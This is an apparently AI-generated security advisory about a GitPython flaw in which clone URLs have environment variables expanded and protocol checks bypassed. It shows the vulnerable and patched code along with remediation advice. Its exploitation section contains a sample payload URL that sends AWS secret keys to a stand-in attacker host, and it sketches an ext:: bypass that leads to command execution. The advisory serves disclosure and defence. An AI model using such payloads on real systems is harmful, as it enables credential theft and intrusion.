CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-RWJ8-PGH3-R573

GHSA-RWJ8-PGH3-R573: Environment Variable Exfiltration and Protocol Validation Bypass in GitPython

Alon Barad
Alon Barad
Software Engineer

Jul 22, 2026·7 min read·18 visits

Executive Summary (TL;DR)

Unsanitized URL evaluation in GitPython's clone API automatically expands environment variables, exposing credentials and enabling protocol validation bypasses.

An input validation flaw in GitPython allows remote attackers to exfiltrate system environment variables and bypass safe-protocol restrictions via crafted repository URLs passed to the clone API.

Vulnerability Overview

GitPython is a Python library used to interact with Git repositories, providing high-level abstractions like the Repo.clone_from() API. This API invokes system Git executables to execute operations over network protocols including HTTP, HTTPS, SSH, or local file systems.

The vulnerability resides in the sanitization and preprocessing flow applied to the remote URL prior to subprocess execution. Applications that accept user-provided repository URLs and pass them to GitPython APIs are exposed to remote information disclosure. An attacker can craft a URL containing environment variable syntax that GitPython evaluates internally, resulting in cleartext values being embedded into the connection string.

This behavior combines input validation failure (CWE-20) with sensitive information exposure (CWE-200). In addition to direct credentials exfiltration, this mechanism provides a direct bypass of GitPython's safe-protocol validation layers, allowing the execution of restricted protocols.

Root Cause Analysis

The core defect is located within the Git.polish_url() method in git/cmd.py and the _cygexpath() function in git/util.py. These helper routines normalize path slashes, manage Cygwin-specific paths, and clean up Windows file system separators. However, prior to the security patch, they unconditionally executed shell expansion utilities on any input URL.

Specifically, the implementation utilized os.path.expandvars() to parse environmental tokens, such as $VAR and ${VAR} on Unix systems, or %VAR% on Windows systems. This function parses the string and extracts the value of any matching environment variable present in the host process. Similarly, user home-directory expansion was applied via os.path.expanduser() when the path started with a tilde character.

This architecture contains two severe security design flaws. First, remote transport URLs are treated identically to local file system paths, allowing system environment variables to be expanded inside network endpoints. Second, the safe-protocol engine Git.check_unsafe_protocols() evaluates the input URL prior to the expansion phase. This sequence allows an attacker to hide dangerous protocols inside environment variables, bypassing validation because the checks are executed against the unpolished, non-expanded string.

Code Analysis

A review of the vulnerable codebase shows how the application evaluated URLs and how the patch structurally decoupled variable expansion from remote transport paths. The sequence diagram below shows the processing order that permitted protocol bypasses.

In the vulnerable implementation of git/cmd.py, polish_url() was implemented as follows:

# VULNERABLE
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()
 
    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)  # Unconditional environmental expansion
        if url.startswith("~"):
            url = os.path.expanduser(url)  # Unconditional user directory expansion
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

The corresponding patch introduces an expand_vars boolean parameter, which is explicitly set to False in cloning contexts. By disabling environment expansion for remote URLs, the literal token strings are passed directly to Git without evaluating host process environment variables.

# PATCHED
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None, expand_vars: bool = True) -> PathLike:
    # ... (Cygwin checks)
    if is_cygwin:
        url = cygpath(url, expand_vars=expand_vars)
    else:
        if expand_vars:  # Expansion is now conditional
            url = os.path.expandvars(url)
            if url.startswith("~"):
                url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

In git/repo/base.py, the _clone() function was modified to construct clone_url with expand_vars=False and perform the protocol validation on the resulting polished string. This closes the gap where the validation check could be bypassed using variable substitutions.

# PATCHED CLONE INTERFACE
clone_url = Git.polish_url(url, expand_vars=False)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(clone_url)  # Validation run on polished URL

Exploitation Methodology

An attack exploiting this flaw requires the target application to accept an arbitrary repository URL from an external source and pass it directly to Repo.clone_from() or an equivalent API. The host process must also contain sensitive values in its environment variables, which is a common pattern in containerized deployments, cloud services, and CI/CD pipelines.

To perform credential exfiltration, the attacker configures a public server to capture incoming HTTP requests and log request parameters. The attacker then constructs a payload URL using environment variables known to exist on the target platform, such as https://attacker.com/collect/$AWS_SECRET_ACCESS_KEY. When the target application initiates the clone operation, GitPython substitutes the token with the actual AWS key, and the underlying git command makes an outbound HTTP GET request containing the secret path to the attacker's server.

Target environment:
AWS_SECRET_ACCESS_KEY = "example_secret_access_key"

Attacker submits URL:
https://attacker.com/collect/$AWS_SECRET_ACCESS_KEY

Resulting outbound request captured by attacker:
GET /collect/example_secret_access_key/info/refs?service=git-upload-pack HTTP/1.1
Host: attacker.com
User-Agent: git/2.34.1

To achieve remote code execution, an attacker uses a protocol validation bypass. By injecting a variable that resolves to a restricted protocol like ext::, the initial validation passes. For example, if the environment contains an attacker-controlled variable or a variable that expands to a command string, Git.check_unsafe_protocols() ignores the payload during its raw validation check. When GitPython expands the variables inside polish_url(), the final execution string is transformed into a command execution vector passed to the Git subprocess.

Impact Assessment

The impact of GHSA-RWJ8-PGH3-R573 is severe due to the combination of information disclosure and protocol bypass vectors. Successful exploitation of the environment variable expansion allows unauthenticated remote attackers to retrieve active session credentials, cloud provider tokens (e.g., AWS, Azure, GCP), database connection parameters, and internal application API secrets.

The vulnerability has a high confidentiality impact because environment variables frequently contain high-privilege credentials used by applications to authenticate to backend infrastructure. Because these variables are expanded and transmitted over standard outbound connections, firewalls and intrusion detection systems may classify the connection as legitimate Git traffic, hiding the exfiltration from basic perimeter controls.

The integrity impact is equally critical. By exploiting the validation bypass, an attacker can pivot from information disclosure to remote code execution (RCE). Initiating a clone command with dangerous protocols, such as ext::, allows executing arbitrary shell commands with the privileges of the running application process. This can lead to a full container escape, database compromise, or lateral movement within the network.

Remediation and Mitigation

The most complete remediation is to upgrade GitPython to version 3.1.52 or later. This version introduces the expand_vars parameter, ensuring that variables in remote repository URLs are not expanded during cloning operations. It also ensures that safe-protocol validations are executed against the polished URL string, closing the protocol bypass vector.

If upgrading is not immediately possible, applications must implement input validation rules to sanitize user-provided repository URLs before passing them to GitPython. Reject any URL that contains characters associated with shell or environment expansion, such as the dollar sign ($) and percent sign (%). Additionally, ensure that URLs beginning with a tilde (~) are blocked to prevent user-directory expansion.

Organizations should also audit environment variables assigned to application processes. Limit the scope of secrets exposed to container runtimes, ensuring that applications do not run with unnecessary environment credentials. Implementing network-level egress filtering to restrict outbound HTTP/HTTPS and SSH connections to only authorized, trusted code repositories acts as a defense-in-depth measure against exfiltration attempts.

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Affected Systems

GitPython

Affected Versions Detail

Product
Affected Versions
Fixed Version
GitPython
gitpython-developers
< 3.1.523.1.52
AttributeDetail
CWE IDCWE-200, CWE-20
Attack VectorNetwork (AV:N)
Estimated CVSS Score10.0
ImpactInformation Disclosure and Arbitrary Code Execution
Exploit StatusProof of Concept (PoC) Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1048Exfiltration Over Alternative Protocol
Exfiltration
T1552.001Credentials in Files / Environment Variables
Credential Access
T1212Exploitation for Credential Access
Credential Access
CWE-200
Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor who is not authorized to have access to that information.

Known Exploits & Detection

GitHubOfficial Pull Request and regression tests validating exfiltration vectors on mock environments.

References & Sources

  • [1]GitHub Security Advisory GHSA-RWJ8-PGH3-R573
  • [2]GitPython Pull Request #2172
  • [3]GitPython Fix Commit 8ac5a30
  • [4]GitPython Release Tag 3.1.52

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-72807
8.8

CVE-2026-72807: Second-Order SQL Injection via Attribute View Templates in SiYuan

CVE-2026-72807 is a second-order SQL injection vulnerability in SiYuan versions prior to v3.7.4. It resides in the dynamic evaluation of Attribute View (AV) template columns, which expose unsafe template functions. An attacker can exploit this by distributing a malicious SiYuan package that executes arbitrary SQL queries on the victim's local database.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 2 hours ago•CVE-2026-72806
5.8

CVE-2026-72806: Missing Authorization in SiYuan Attribute View Rendering Leads to Information Disclosure

An authorization bypass vulnerability in SiYuan prior to v3.7.4 allows unauthenticated remote attackers to access rows, block IDs, and custom attributes of password-protected documents via the attribute view rendering endpoint.

Alon Barad
Alon Barad
2 views•7 min read
•about 3 hours ago•CVE-2026-72805
6.9

CVE-2026-72805: Missing Authorization in SiYuan Note Block APIs Leads to Information Disclosure

SiYuan Note versions before v3.7.4 fail to enforce publish-access checks on several block API endpoints. This vulnerability allows anonymous readers or authorized accounts with low-privileged roles to retrieve sensitive document titles, ancestor block content snippets, reference text, and path metadata for publish-forbidden or password-protected documents by supplying target block IDs.

Alon Barad
Alon Barad
4 views•6 min read
•about 4 hours ago•CVE-2026-72804
9.2

CVE-2026-72804: Authentication Bypass and Sensitive Information Exposure in SiYuan Graph Endpoints

SiYuan before version 3.7.4 contains an authentication bypass vulnerability within its graph visualization API endpoints, allowing unauthenticated remote attackers to extract sensitive node metadata and content from password-protected documents.

Alon Barad
Alon Barad
3 views•7 min read
•about 5 hours ago•CVE-2026-72802
6.9

CVE-2026-72802: Sensitive Information Disclosure via Administrative Asset Resolvers in SiYuan Note

SiYuan Note versions prior to v3.7.4 contain an information disclosure vulnerability in the `/api/asset/resolveAssetPath` endpoint. This endpoint returns absolute backend filesystem paths unmodified to CheckAuth-only requests. Low-privileged users or unauthenticated readers under publish mode can exploit this to leak the local directory layout, operating system username, and overall host deployment structure.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 6 hours ago•CVE-2026-72801
8.7

CVE-2026-72801: Information Disclosure of Cryptographic Key Material in SiYuan

An access control vulnerability in the SiYuan personal knowledge management platform before version v3.7.4 exposes notebook encryption parameters to unauthenticated remote attackers. When the platform is configured in Publish Mode, specific API endpoints fail to enforce authorization checks. This access failure leaks key-derivation materials, password verifiers, and wrapped database keys to anonymous network clients.

Amit Schendel
Amit Schendel
3 views•6 min read